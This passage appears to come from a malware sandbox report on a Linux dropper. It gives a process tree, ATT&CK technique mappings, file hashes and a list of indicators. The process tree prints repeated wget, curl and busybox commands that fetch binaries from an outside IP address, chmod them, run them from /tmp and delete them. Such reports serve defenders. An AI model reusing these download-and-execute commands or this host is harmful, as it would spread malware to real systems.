  - Reads runtime system information
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
  2⤵
  PID:921
- /bin/chmod
  chmod 777 PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
  ./PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
  2⤵
  PID:925
- /usr/bin/wget
  wget http://87.120.125.191/bins/XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl
  2⤵
  PID:928
- /bin/chmod
  chmod 777 XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl
  ./XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl
  2⤵
  PID:932
- /usr/bin/wget
  wget http://87.120.125.191/bins/Gdylg4xq1BQirQxV3oUy7HvV8IEl3g3ipw
  2⤵
  - System Network Configuration Discovery
  PID:933

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1

Filesize
176B

MD5
e1732e70f015e99d14dff1eeeaec9966

SHA1
c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113

SHA256
6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e

SHA512
6ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7

Download Submit

ioc	pid	Process
/tmp/HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1	677	HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
/tmp/kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU	690	kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
/tmp/XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1	698	XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
/tmp/f4er80WdZpB65CEraApSmbUBPranpIfNx7	706	f4er80WdZpB65CEraApSmbUBPranpIfNx7
/tmp/Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT	725	Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
/tmp/edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC	741	edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
/tmp/K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4	754	K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
/tmp/QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f	768	QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
/tmp/PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY	786	PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
/tmp/XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl	795	XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl
/tmp/Gdylg4xq1BQirQxV3oUy7HvV8IEl3g3ipw	805	Gdylg4xq1BQirQxV3oUy7HvV8IEl3g3ipw
/tmp/VhO2ASRFIUiaeg3eSzwnyggKzaLdliiuoY	821	VhO2ASRFIUiaeg3eSzwnyggKzaLdliiuoY
/tmp/irxMRueKtUIlbAD2saAWDAmbCGXWYBdjbh	836	irxMRueKtUIlbAD2saAWDAmbCGXWYBdjbh
/tmp/r0o0vPWjxxAxwoWwBA0X4F2SBoiBdX8Nuq	852	r0o0vPWjxxAxwoWwBA0X4F2SBoiBdX8Nuq
/tmp/HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1	865	HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
/tmp/kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU	872	kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
/tmp/XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1	879	XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
/tmp/f4er80WdZpB65CEraApSmbUBPranpIfNx7	886	f4er80WdZpB65CEraApSmbUBPranpIfNx7
/tmp/Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT	893	Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
/tmp/edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC	900	edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
/tmp/K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4	907	K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
/tmp/QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f	916	QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
/tmp/PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY	923	PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
/tmp/XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl	930	XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads